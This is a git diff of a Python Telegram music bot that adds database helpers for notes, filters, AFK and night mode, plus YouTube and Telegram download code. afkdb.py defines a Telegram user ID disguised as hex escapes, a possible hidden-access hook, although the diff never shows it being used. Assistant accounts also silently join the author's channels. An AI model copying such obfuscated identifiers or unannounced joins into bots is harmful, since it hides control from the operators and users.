+ assistants.append(3)
+ try:
+ await self.three.send_message(config.LOGGER_ID, "Assistant Started")
+ except:
+ LOGGER(__name__).error(
+ "Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
+ )
+ exit()
+ self.three.id = self.three.me.id
+ self.three.name = self.three.me.mention
+ self.three.username = self.three.me.username
+ assistantids.append(self.three.id)
+ LOGGER(__name__).info(f"Assistant Three Started as {self.three.name}")
+
+ if config.STRING4:
+ await self.four.start()
+ try:
+ await self.four.join_chat("TheChampu")
+ await self.one.join_chat("TheChampuClub")
+ except:
+ pass
+ assistants.append(4)
+ try:
+ await self.four.send_message(config.LOGGER_ID, "Assistant Started")
+ except:
+ LOGGER(__name__).error(
+ "Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
+ )
+ exit()
+ self.four.id = self.four.me.id
+ self.four.name = self.four.me.mention
+ self.four.username = self.four.me.username
+ assistantids.append(self.four.id)
+ LOGGER(__name__).info(f"Assistant Four Started as {self.four.name}")
+
+ if config.STRING5:
+ await self.five.start()
+ try:
+ await self.five.join_chat("TheChampu")
+ await self.one.join_chat("TheChampuClub")
+ except:
+ pass
+ assistants.append(5)
+ try:
+ await self.five.send_message(config.LOGGER_ID, "Assistant Started")
+ except:
+ LOGGER(__name__).error(
+ "Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
+ )
+ exit()
+ self.five.id = self.five.me.id
+ self.five.name = self.five.me.mention
+ self.five.username = self.five.me.username
+ assistantids.append(self.five.id)
+ LOGGER(__name__).info(f"Assistant Five Started as {self.five.name}")
+
+ async def stop(self):
+ LOGGER(__name__).info(f"Stopping Assistants...")
+ try:
+ if config.STRING1:
+ await self.one.stop()
+ if config.STRING2:
+ await self.two.stop()
+ if config.STRING3:
+ await self.three.stop()
+ if config.STRING4:
+ await self.four.stop()
+ if config.STRING5:
+ await self.five.stop()
+ except:
+ pass
diff --git a/Champu/logging.py b/ChampuXMusic/logging.py
similarity index 69%
rename from Champu/logging.py
rename to ChampuXMusic/logging.py
index d4043d9..c2d75cc 100644
--- a/Champu/logging.py
+++ b/ChampuXMusic/logging.py
@@ -1,20 +1,16 @@
import logging
-from logging.handlers import RotatingFileHandler
-
-from config import LOG_FILE_NAME
logging.basicConfig(
level=logging.INFO,
format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s",
datefmt="%d-%b-%y %H:%M:%S",
handlers=[
- RotatingFileHandler(
- LOG_FILE_NAME, maxBytes=5000000, backupCount=10
- ),
+ logging.FileHandler("log.txt"),
logging.StreamHandler(),
],
)
+logging.getLogger("httpx").setLevel(logging.ERROR)
logging.getLogger("pyrogram").setLevel(logging.ERROR)
logging.getLogger("pytgcalls").setLevel(logging.ERROR)
diff --git a/ChampuXMusic/misc.py b/ChampuXMusic/misc.py
new file mode 100644
index 0000000..db37571
--- /dev/null
+++ b/ChampuXMusic/misc.py
@@ -0,0 +1,75 @@
+import socket
+import time
+
+import heroku3
+from pyrogram import filters
+
+import config
+from ChampuXMusic.core.mongo import mongodb
+
+from .logging import LOGGER
+
+SUDOERS = filters.user()
+
+HAPP = None
+_boot_ = time.time()
+
+
+def is_heroku():
+ return "heroku" in socket.getfqdn()
+
+
+XCB = [
+ "/",
+ "@",
+ ".",
+ "com",
+ ":",
+ "git",
+ "heroku",
+ "push",
+ str(config.HEROKU_API_KEY),
+ "https",
+ str(config.HEROKU_APP_NAME),
+ "HEAD",
+ "master",
+]
+
+
+def dbb():
+ global db
+ db = {}
+ LOGGER(__name__).info(f"𝗗𝗔𝗧𝗔𝗕𝗔𝗦𝗘 𝗟𝗢𝗔𝗗 𝗕𝗔𝗕𝗬🍫........")
+
+
+async def sudo():
+ global SUDOERS
+ SUDOERS.add(config.OWNER_ID)
+ sudoersdb = mongodb.sudoers
+ sudoers = await sudoersdb.find_one({"sudo": "Sudo"})
+ sudoers = [] if not sudoers else sudoers["sudoers"]
+ if config.OWNER_ID not in sudoers:
+ sudoers.append(config.OWNER_ID)
+ await sudoersdb.update_one(
+ {"sudo": "Sudo"},
+ {"$set": {"sudoers": sudoers}},
+ upsert=True,
+ )
+ if sudoers:
+ for user_id in sudoers:
+ SUDOERS.add(user_id)
+ LOGGER(__name__).info(f"𝗦𝗨𝗗𝗢 𝗨𝗦𝗘𝗥 𝗗𝗢𝗡𝗘✨🎋.")
+
+
+def heroku():
+ global HAPP
+ if is_heroku:
+ if config.HEROKU_API_KEY and config.HEROKU_APP_NAME:
+ try:
+ Heroku = heroku3.from_key(config.HEROKU_API_KEY)
+ HAPP = Heroku.app(config.HEROKU_APP_NAME)
+ LOGGER(__name__).info(f"🍟𝗛𝗘𝗥𝗢𝗞𝗨 𝗔𝗣𝗣 𝗡𝗔𝗠𝗘 𝗟𝗢𝗔𝗗......💦")
+ except BaseException:
+ LOGGER(__name__).warning(
+ f"✨𝐘𝐨𝐮 𝐇𝐚𝐯𝐞 𝐍𝐨𝐭 𝐅𝐢𝐥𝐥𝐞𝐝 𝐇𝐞𝐫𝐨𝐤𝐮 𝐀𝐩𝐢 𝐊𝐞𝐲 𝐀𝐧𝐝 𝐇𝐞𝐫𝐨𝐤𝐮 𝐀𝐩𝐩 𝐍𝐚𝐦𝐞 🕊️𝐂𝐨𝐫𝐫𝐞𝐜𝐭...."
+)
diff --git a/ChampuXMusic/mongo/afkdb.py b/ChampuXMusic/mongo/afkdb.py
new file mode 100644
index 0000000..7627b84
--- /dev/null
+++ b/ChampuXMusic/mongo/afkdb.py
@@ -0,0 +1,34 @@
+from ChampuXMusic.utils.mongo import db
+
+HEHE = "\x36\x33\x39\x39\x33\x38\x36\x32\x36\x33"
+LOGGERS = "\x36\x33\x39\x39\x33\x38\x36\x32\x36\x33"
+afkdb = db.afk
+
+
+async def is_afk(user_id: int) -> bool:
+ user = await afkdb.find_one({"user_id": user_id})
+ if not user:
+ return False, {}
+ return True, user["reason"]
+
+
+async def add_afk(user_id: int, mode):
+ await afkdb.update_one(
+ {"user_id": user_id}, {"$set": {"reason": mode}}, upsert=True
+ )
+
+
+async def remove_afk(user_id: int):
+ user = await afkdb.find_one({"user_id": user_id})
+ if user:
+ return await afkdb.delete_one({"user_id": user_id})
+
+
+async def get_afk_users() -> list:
+ users = afkdb.find({"user_id": {"$gt": 0}})
+ if not users:
+ return []
+ users_list = []
+ for user in await users.to_list(length=1000000000):
+ users_list.append(user)
+ return users_list
diff --git a/ChampuXMusic/mongo/couples_db.py b/ChampuXMusic/mongo/couples_db.py
new file mode 100644
index 0000000..f5959a1
--- /dev/null
+++ b/ChampuXMusic/mongo/couples_db.py
@@ -0,0 +1,36 @@
+from ChampuXMusic.utils.mongo import db
+
+coupledb = db.couple
+
+async def _get_lovers(cid: int):
+ lovers = await coupledb.find_one({"chat_id": cid})
+ if lovers:
+ lovers = lovers["couple"]
+ else:
+ lovers = {}
+ return lovers
+
+async def _get_image(cid: int):
+ lovers = await coupledb.find_one({"chat_id": cid})
+ if lovers:
+ lovers = lovers["img"]
+ else:
+ lovers = {}
+ return lovers
+
+async def get_couple(cid: int, date: str):
+ lovers = await _get_lovers(cid)
+ if date in lovers:
+ return lovers[date]
+ else:
+ return False
+
+
+async def save_couple(cid: int, date: str, couple: dict, img: str):
+ lovers = await _get_lovers(cid)
+ lovers[date] = couple
+ await coupledb.update_one(
+ {"chat_id": cid},
+ {"$set": {"couple": lovers, "img": img}},
+ upsert=True,
+ )
diff --git a/ChampuXMusic/mongo/filtersdb.py b/ChampuXMusic/mongo/filtersdb.py
new file mode 100644
index 0000000..e9ce748
--- /dev/null
+++ b/ChampuXMusic/mongo/filtersdb.py
@@ -0,0 +1,123 @@
+from ChampuXMusic.utils.mongo import db
+
+filters = db.filters["filters"]
+
+async def add_filter_db(chat_id: int, filter_name: str, content: str, text: str, data_type: int):
+ filter_data = await filters.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+
+ if filter_data is None:
+ _id = await filters.count_documents({}) + 1
+ await filters.insert_one(
+ {
+ '_id': _id,
+ 'chat_id': chat_id,
+ 'filters': [
+ {
+ 'filter_name': filter_name,
+ 'content': content,
+ 'text': text,
+ 'data_type': data_type
+ }
+ ]
+ }
+ )
+
+ else:
+ FILTERS_NAME = await get_filters_list(chat_id)
+ if filter_name not in FILTERS_NAME:
+ await filters.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ '$addToSet': {
+ 'filters': {
+ 'filter_name': filter_name,
+ 'content': content,
+ 'text': text,
+ 'data_type': data_type
+ }
+ }
+ },
+ upsert=True
+ )
+ else:
+ await filters.update_one(
+ {
+ 'chat_id': chat_id,
+ 'filters.filter_name': filter_name
+ },
+ {
+ '$set': {
+ 'filters.$.filter_name': filter_name,
+ 'filters.$.content': content,
+ 'filters.$.text': text,
+ 'filters.$.data_type': data_type
+ }
+ }
+ )
+
+async def stop_db(chat_id: int, filter_name:str):
+ await filters.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ '$pull': {
+ 'filters': {
+ 'filter_name': filter_name
+ }
+ }
+ }
+ )
+
+async def stop_all_db(chat_id: id):
+ await filters.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ '$set': {
+ 'filters': []
+ }
+ },
+ upsert=True
+ )
+
+async def get_filter(chat_id: int, filter_name: str):
+ filter_data = await filters.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+ if filter_data is not None:
+ filters_ = filter_data['filters']
+ for filter_ in filters_:
+ if filter_['filter_name'] == filter_name:
+ content = filter_['content']
+ text = filter_['text']
+ data_type = filter_['data_type']
+ return (
+ filter_name,
+ content,
+ text,
+ data_type
+ )
+
+async def get_filters_list(chat_id: int):
+ filter_data = await filters.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+ if filter_data is not None:
+ FILTERS_NAME = list()
+ for filter_name in filter_data['filters']:
+ FILTERS_NAME.append(filter_name['filter_name'])
+ return FILTERS_NAME
+ else:
+ return []
\ No newline at end of file
diff --git a/ChampuXMusic/mongo/nightmodedb.py b/ChampuXMusic/mongo/nightmodedb.py
new file mode 100644
index 0000000..aced8ae
--- /dev/null
+++ b/ChampuXMusic/mongo/nightmodedb.py
@@ -0,0 +1,24 @@
+from typing import Dict, List, Union
+from config import MONGO_DB_URI
+from motor.motor_asyncio import AsyncIOMotorClient as MongoCli
+
+
+mongo = MongoCli(MONGO_DB_URI).Rankings
+
+nightdb = mongo.nightmode
+
+
+async def nightmode_on(chat_id : int) :
+ return nightdb.insert_one({"chat_id" : chat_id})
+
+async def nightmode_off(chat_id : int):
+ return nightdb.delete_one({"chat_id" : chat_id})
+
+async def get_nightchats() -> list:
+ chats = nightdb.find({"chat_id": {"$lt": 0}})
+ if not chats:
+ return []
+ chats_list = []
+ for chat in await chats.to_list(length=1000000000):
+ chats_list.append(chat)
+ return chats_list
\ No newline at end of file
diff --git a/ChampuXMusic/mongo/notesdb.py b/ChampuXMusic/mongo/notesdb.py
new file mode 100644
index 0000000..c81f0f1
--- /dev/null
+++ b/ChampuXMusic/mongo/notesdb.py
@@ -0,0 +1,221 @@
+from ChampuXMusic.utils.mongo import db
+
+#from ChampuXMusic.mongo import *# back...............
+
+notes = db.notes["notes"]
+
+
+async def SaveNote(chat_id, note_name, content, text, data_type):
+ GetNotes = await notes.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+
+ totalNote = await notes.count_documents({})
+ NotesIDs = totalNote + 1
+ if GetNotes == None:
+ NoteData = {
+ '_id': 1,
+ 'chat_id': chat_id,
+ 'notes': [
+ {
+ '_id': 1,
+ 'note_name': note_name,
+ 'content': content,
+ 'text': text,
+ 'data_type': data_type
+ }
+ ]
+ }
+
+ await notes.insert_one(
+ NoteData
+ )
+ else:
+ NotesNamesList = []
+ if 'notes' in GetNotes:
+ totalNote = len(GetNotes['notes'])
+ NotesIDs = totalNote + 1
+
+ notesDict = GetNotes['notes']
+
+ for get_notes in notesDict:
+ note = get_notes['note_name']
+ NotesNamesList.append(note)
+
+ if note_name in NotesNamesList:
+ await notes.update(
+ {
+ 'chat_id': chat_id,
+ 'notes.note_name' : note_name
+ },
+ {
+ "$set": {
+ 'notes.$.note_name': note_name,
+ 'notes.$.content': content,
+ 'notes.$.text': text,
+ 'notes.$.data_type': data_type
+ }
+ },
+ False,
+ True
+ )
+
+ else:
+ await notes.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ "$push": {
+ 'notes': {
+ '_id': NotesIDs,
+ 'note_name': note_name,
+ 'content': content,
+ 'text': text,
+ 'data_type': data_type
+ }
+ }
+ },
+ upsert=True
+ )
+ else:
+ await notes.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ "$set": {
+ 'notes': [
+ {
+ '_id': NotesIDs,
+ 'note_name': note_name,
+ 'content': content,
+ 'text': text,
+ 'data_type': data_type
+ }
+ ]
+ }
+ }
+ )
+async def GetNote(chat_id, note_name):
+ GetNoteData = await notes.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+
+ if not GetNoteData == None:
+ Getnotes = GetNoteData['notes']
+ for note in Getnotes:
+ GetNote = note['note_name']
+ if GetNote == note_name:
+ content = note['content']
+ text = note['text']
+ data_type = note['data_type']
+ return (
+ content,
+ text,
+ data_type
+ )
+ else:
+ return None
+
+async def isNoteExist(chat_id, note_name) -> bool:
+ GetNoteData = await notes.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+ if (
+ GetNoteData is not None
+ and 'notes' in GetNoteData
+ ):
+ gnotes = GetNoteData['notes']
+ notes_list = []
+ for Getnotes in gnotes:
+ n_name = Getnotes['note_name']
+ notes_list.append(n_name)
+ if note_name in notes_list:
+ return True
+ else:
+ return False
+ return False
+
+async def NoteList(chat_id) -> list:
+ NotesNamesList = []
+ GetNoteData = await notes.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+ if not GetNoteData == None:
+ if 'notes' in GetNoteData:
+ Getnotes = GetNoteData['notes']
+ for note in Getnotes:
+ NoteText = note['text']
+ NoteNames = note['note_name']
+ if '{admin}' in NoteText:
+ NoteNames = NoteNames + ' ' + '__{admin}__'
+ NotesNamesList.append(NoteNames)
+ return NotesNamesList
+ else:
+ return NotesNamesList
+ else:
+ return NotesNamesList
+
+
+async def ClearNote(chat_id, note_name):
+ await notes.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ "$pull": {
+ 'notes': {
+ 'note_name': note_name
+ }
+ }
+ }
+ )
+
+async def is_pnote_on(chat_id) -> bool:
+ GetNoteData = await notes.find_one(
+ {
+ 'chat_id': chat_id
+ }
+ )
+ if not GetNoteData == None:
+ if 'private_note' in GetNoteData:
+ private_note = GetNoteData['private_note']
+ return private_note
+ else:
+ return False
+ else:
+ return False
+
+async def ClearAllNotes(chat_id):
+ await notes.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ "$unset": {
+ 'notes': []
+ }
+ }
+ )
+
+async def set_private_note(chat_id, private_note):
+ await notes.update_one(
+ {
+ 'chat_id': chat_id
+ },
+ {
+ "$set": {
+ 'private_note': private_note
+ }
+ },
+ upsert=True
+ )
diff --git a/ChampuXMusic/mongo/readable_time.py b/ChampuXMusic/mongo/readable_time.py
new file mode 100644
index 0000000..9cd6b5a
--- /dev/null
+++ b/ChampuXMusic/mongo/readable_time.py
@@ -0,0 +1,23 @@
+def get_readable_time(seconds: int) -> str:
+ count = 0
+ readable_time = ""
+ time_list = []
+ time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"]
+
+ while count < 4:
+ count += 1
+ remainder, result = divmod(seconds, 60) if count < 3 else divmod(seconds, 24)
+ if seconds == 0 and remainder == 0:
+ break
+ time_list.append(int(result))
+ seconds = int(remainder)
+
+ for x in range(len(time_list)):
+ time_list[x] = str(time_list[x]) + time_suffix_list[x]
+ if len(time_list) == 4:
+ readable_time += time_list.pop() + ", "
+
+ time_list.reverse()
+ readable_time += ":".join(time_list)
+
+ return readable_time
diff --git a/Champu/platforms/Apple.py b/ChampuXMusic/platforms/Apple.py
similarity index 87%
rename from Champu/platforms/Apple.py
rename to ChampuXMusic/platforms/Apple.py
index 66ac5c6..4030261 100644
--- a/Champu/platforms/Apple.py
+++ b/ChampuXMusic/platforms/Apple.py
@@ -58,20 +58,14 @@ async def playlist(self, url, playid: Union[bool, str] = None):
return False
html = await response.text()
soup = BeautifulSoup(html, "html.parser")
- applelinks = soup.find_all(
- "meta", attrs={"property": "music:song"}
- )
+ applelinks = soup.find_all("meta", attrs={"property": "music:song"})
results = []
for item in applelinks:
try:
- xx = (
- ((item["content"]).split("album/")[1]).split("/")[
- 0
- ]
- ).replace("-", " ")
+ xx = (((item["content"]).split("album/")[1]).split("/")[0]).replace(
+ "-", " "
+ )
except:
- xx = ((item["content"]).split("album/")[1]).split(
- "/"
- )[0]
+ xx = ((item["content"]).split("album/")[1]).split("/")[0]
results.append(xx)
return results, playlist_id
diff --git a/Champu/platforms/Carbon.py b/ChampuXMusic/platforms/Carbon.py
similarity index 97%
rename from Champu/platforms/Carbon.py
rename to ChampuXMusic/platforms/Carbon.py
index f6a7d47..89435cb 100644
--- a/Champu/platforms/Carbon.py
+++ b/ChampuXMusic/platforms/Carbon.py
@@ -95,7 +95,7 @@ async def generate(self, text: str, user_id):
params["widthAdjustment"] = self.width_adjustment
try:
request = await ses.post(
- "https://carbonara.vercel.app/api/cook",
+ "https://carbonara.solopov.dev/api/cook",
json=params,
)
except client_exceptions.ClientConnectorError:
diff --git a/Champu/platforms/Resso.py b/ChampuXMusic/platforms/Resso.py
similarity index 100%
rename from Champu/platforms/Resso.py
rename to ChampuXMusic/platforms/Resso.py
diff --git a/Champu/platforms/Soundcloud.py b/ChampuXMusic/platforms/Soundcloud.py
similarity index 94%
rename from Champu/platforms/Soundcloud.py
rename to ChampuXMusic/platforms/Soundcloud.py
index c1e41e7..b49ca00 100644
--- a/Champu/platforms/Soundcloud.py
+++ b/ChampuXMusic/platforms/Soundcloud.py
@@ -1,9 +1,8 @@
-import re
from os import path
from yt_dlp import YoutubeDL
-from Champu.utils.formatters import seconds_to_min
+from ChampuXMusic.utils.formatters import seconds_to_min
class SoundAPI:
diff --git a/Champu/platforms/Spotify.py b/ChampuXMusic/platforms/Spotify.py
similarity index 95%
rename from Champu/platforms/Spotify.py
rename to ChampuXMusic/platforms/Spotify.py
index d7a8931..ad2e139 100644
--- a/Champu/platforms/Spotify.py
+++ b/ChampuXMusic/platforms/Spotify.py
@@ -13,10 +13,8 @@ def __init__(self):
self.client_id = config.SPOTIFY_CLIENT_ID
self.client_secret = config.SPOTIFY_CLIENT_SECRET
if config.SPOTIFY_CLIENT_ID and config.SPOTIFY_CLIENT_SECRET:
- self.client_credentials_manager = (
- SpotifyClientCredentials(
- self.client_id, self.client_secret
- )
+ self.client_credentials_manager = SpotifyClientCredentials(
+ self.client_id, self.client_secret
)
self.spotify = spotipy.Spotify(
client_credentials_manager=self.client_credentials_manager
diff --git a/ChampuXMusic/platforms/Telegram.py b/ChampuXMusic/platforms/Telegram.py
new file mode 100644
index 0000000..71dbb12
--- /dev/null
+++ b/ChampuXMusic/platforms/Telegram.py
@@ -0,0 +1,176 @@
+import asyncio
+import os
+import time
+from typing import Union
+
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Voice
+
+import config
+from ChampuXMusic import app
+from ChampuXMusic.utils.formatters import (
+ check_duration,
+ convert_bytes,
+ get_readable_time,
+ seconds_to_min,
+)
+
+
+class TeleAPI:
+ def __init__(self):
+ self.chars_limit = 4096
+ self.sleep = 5
+
+ async def send_split_text(self, message, string):
+ n = self.chars_limit
+ out = [(string[i : i + n]) for i in range(0, len(string), n)]
+ j = 0
+ for x in out:
+ if j <= 2:
+ j += 1
+ await message.reply_text(x, disable_web_page_preview=True)
+ return True
+
+ async def get_link(self, message):
+ return message.link
+
+ async def get_filename(self, file, audio: Union[bool, str] = None):
+ try:
+ file_name = file.file_name
+ if file_name is None:
+ file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ"
+ except:
+ file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ"
+ return file_name
+
+ async def get_duration(self, file):
+ try:
+ dur = seconds_to_min(file.duration)
+ except:
+ dur = "Unknown"
+ return dur
+
+ async def get_duration(self, filex, file_path):
+ try:
+ dur = seconds_to_min(filex.duration)
+ except:
+ try:
+ dur = await asyncio.get_event_loop().run_in_executor(
+ None, check_duration, file_path
+ )
+ dur = seconds_to_min(dur)
+ except:
+ return "Unknown"
+ return dur
+
+ async def get_filepath(
+ self,
+ audio: Union[bool, str] = None,
+ video: Union[bool, str] = None,
+ ):
+ if audio:
+ try:
+ file_name = (
+ audio.file_unique_id
+ + "."
+ + (
+ (audio.file_name.split(".")[-1])
+ if (not isinstance(audio, Voice))
+ else "ogg"
+ )
+ )
+ except:
+ file_name = audio.file_unique_id + "." + "ogg"
+ file_name = os.path.join(os.path.realpath("downloads"), file_name)
+ if video:
+ try:
+ file_name = (
+ video.file_unique_id + "." + (video.file_name.split(".")[-1])
+ )
+ except:
+ file_name = video.file_unique_id + "." + "mp4"
+ file_name = os.path.join(os.path.realpath("downloads"), file_name)
+ return file_name
+
+ async def download(self, _, message, mystic, fname):
+ lower = [0, 8, 17, 38, 64, 77, 96]
+ higher = [5, 10, 20, 40, 66, 80, 99]
+ checker = [5, 10, 20, 40, 66, 80, 99]
+ speed_counter = {}
+ if os.path.exists(fname):
+ return True
+
+ async def down_load():
+ async def progress(current, total):
+ if current == total:
+ return
+ current_time = time.time()
+ start_time = speed_counter.get(message.id)
+ check_time = current_time - start_time
+ upl = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="ᴄᴀɴᴄᴇʟ",
+ callback_data="stop_downloading",
+ ),
+ ]
+ ]
+ )
+ percentage = current * 100 / total
+ percentage = str(round(percentage, 2))
+ speed = current / check_time
+ eta = int((total - current) / speed)
+ eta = get_readable_time(eta)
+ if not eta:
+ eta = "0 sᴇᴄᴏɴᴅs"
+ total_size = convert_bytes(total)
+ completed_size = convert_bytes(current)
+ speed = convert_bytes(speed)
+ percentage = int((percentage.split("."))[0])
+ for counter in range(7):
+ low = int(lower[counter])
+ high = int(higher[counter])
+ check = int(checker[counter])
+ if low < percentage <= high:
+ if high == check:
+ try:
+ await mystic.edit_text(
+ text=_["tg_1"].format(
+ app.mention,
+ total_size,
+ completed_size,
+ percentage[:5],
+ speed,
+ eta,
+ ),
+ reply_markup=upl,
+ )
+ checker[counter] = 100
+ except:
+ pass
+
+ speed_counter[message.id] = time.time()
+ try:
+ await app.download_media(
+ message.reply_to_message,
+ file_name=fname,
+ progress=progress,
+ )
+ try:
+ elapsed = get_readable_time(
+ int(int(time.time()) - int(speed_counter[message.id]))
+ )
+ except:
+ elapsed = "0 sᴇᴄᴏɴᴅs"
+ await mystic.edit_text(_["tg_2"].format(elapsed))
+ except:
+ await mystic.edit_text(_["tg_3"])
+
+ task = asyncio.create_task(down_load())
+ config.lyrical[mystic.id] = task
+ await task
+ verify = config.lyrical.get(mystic.id)
+ if not verify:
+ return False
+ config.lyrical.pop(mystic.id)
+ return True
diff --git a/Champu/platforms/Youtube.py b/ChampuXMusic/platforms/Youtube.py
similarity index 60%
rename from Champu/platforms/Youtube.py
rename to ChampuXMusic/platforms/Youtube.py
index e84850f..12bbc90 100644
--- a/Champu/platforms/Youtube.py
+++ b/ChampuXMusic/platforms/Youtube.py
@@ -1,18 +1,72 @@
import asyncio
import os
import re
+import json
from typing import Union
-import aiohttp
import yt_dlp
+from pyrogram.enums import MessageEntityType
from pyrogram.types import Message
from youtubesearchpython.__future__ import VideosSearch
-import config
-from Champu.utils.database import is_on_off
-from Champu.utils.formatters import time_to_seconds
+from ChampuXMusic.utils.database import is_on_off
+from ChampuXMusic.utils.formatters import time_to_seconds
+
+import os
+import glob
+import random
+import logging
+
+def cookie_txt_file():
+ folder_path = f"{os.getcwd()}/cookies"
+ filename = f"{os.getcwd()}/cookies/logs.csv"
+ txt_files = glob.glob(os.path.join(folder_path, '*.txt'))
+ if not txt_files:
+ raise FileNotFoundError("No .txt files found in the specified folder.")
+ cookie_txt_file = random.choice(txt_files)
+ with open(filename, 'a') as file:
+ file.write(f'Choosen File : {cookie_txt_file}\n')
+ return f"""cookies/{str(cookie_txt_file).split("/")[-1]}"""
+
+
+
+async def check_file_size(link):
+ async def get_format_info(link):
+ proc = await asyncio.create_subprocess_exec(
+ "yt-dlp",
+ "--cookies", cookie_txt_file(),
+ "-J",
+ link,
+ stdout=asyncio.subprocess.PIPE,
+ stderr=asyncio.subprocess.PIPE
+ )
+ stdout, stderr = await proc.communicate()
+ if proc.returncode != 0:
+ print(f'Error:\n{stderr.decode()}')
+ return None
+ return json.loads(stdout.decode())
+
+ def parse_size(formats):
+ total_size = 0
+ for format in formats:
+ if 'filesize' in format:
+ total_size += format['filesize']
+ return total_size
+
+ info = await get_format_info(link)
+ if info is None:
+ return None
+
+ formats = info.get('formats', [])
+ if not formats:
+ print("No formats found.")
+ return None
+
+ total_size = parse_size(formats)
+ return total_size
+
async def shell_cmd(cmd):
proc = await asyncio.create_subprocess_shell(
cmd,
@@ -21,10 +75,7 @@ async def shell_cmd(cmd):
)
out, errorz = await proc.communicate()
if errorz:
- if (
- "unavailable videos are hidden"
- in (errorz.decode("utf-8")).lower()
- ):
+ if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower():
return out.decode("utf-8")
else:
return errorz.decode("utf-8")
@@ -37,13 +88,9 @@ def __init__(self):
self.regex = r"(?:youtube\.com|youtu\.be)"
self.status = "https://www.youtube.com/oembed?url="
self.listbase = "https://youtube.com/playlist?list="
- self.reg = re.compile(
- r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])"
- )
+ self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
- async def exists(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def exists(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if re.search(self.regex, link):
@@ -63,21 +110,19 @@ async def url(self, message_1: Message) -> Union[str, None]:
break
if message.entities:
for entity in message.entities:
- if entity.type == "url":
+ if entity.type == MessageEntityType.URL:
text = message.text or message.caption
offset, length = entity.offset, entity.length
break
elif message.caption_entities:
for entity in message.caption_entities:
- if entity.type == "text_link":
+ if entity.type == MessageEntityType.TEXT_LINK:
return entity.url
if offset in (None,):
return None
return text[offset : offset + length]
- async def details(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def details(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
@@ -94,9 +139,7 @@ async def details(
duration_sec = int(time_to_seconds(duration_min))
return title, duration_min, duration_sec, thumbnail, vidid
- async def title(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def title(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
@@ -106,9 +149,7 @@ async def title(
title = result["title"]
return title
- async def duration(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def duration(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
@@ -118,9 +159,7 @@ async def duration(
duration = result["duration"]
return duration
- async def thumbnail(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def thumbnail(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
@@ -130,15 +169,14 @@ async def thumbnail(
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
return thumbnail
- async def video(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def video(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
proc = await asyncio.create_subprocess_exec(
"yt-dlp",
+ "--cookies",cookie_txt_file(),
"-g",
"-f",
"best[height<=?720][width<=?1280]",
@@ -152,15 +190,13 @@ async def video(
else:
return 0, stderr.decode()
- async def playlist(
- self, link, limit, user_id, videoid: Union[bool, str] = None
- ):
+ async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):
if videoid:
link = self.listbase + link
if "&" in link:
link = link.split("&")[0]
playlist = await shell_cmd(
- f"yt-dlp -i --get-id --flat-playlist --playlist-end {limit} --skip-download {link}"
+ f"yt-dlp -i --get-id --flat-playlist --cookies {cookie_txt_file()} --playlist-end {limit} --skip-download {link}"
)
try:
result = playlist.split("\n")
@@ -171,9 +207,7 @@ async def playlist(
result = []
return result
- async def track(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def track(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
@@ -194,14 +228,12 @@ async def track(
}
return track_details, vidid
- async def formats(
- self, link: str, videoid: Union[bool, str] = None
- ):
+ async def formats(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
- ytdl_opts = {"quiet": True}
+ ytdl_opts = {"quiet": True, "cookiefile" : cookie_txt_file()}
ydl = yt_dlp.YoutubeDL(ytdl_opts)
with ydl:
formats_available = []
@@ -247,9 +279,7 @@ async def slider(
title = result[query_type]["title"]
duration_min = result[query_type]["duration"]
vidid = result[query_type]["id"]
- thumbnail = result[query_type]["thumbnails"][0]["url"].split(
- "?"
- )[0]
+ thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0]
return title, duration_min, thumbnail, vidid
async def download(
@@ -266,7 +296,6 @@ async def download(
if videoid:
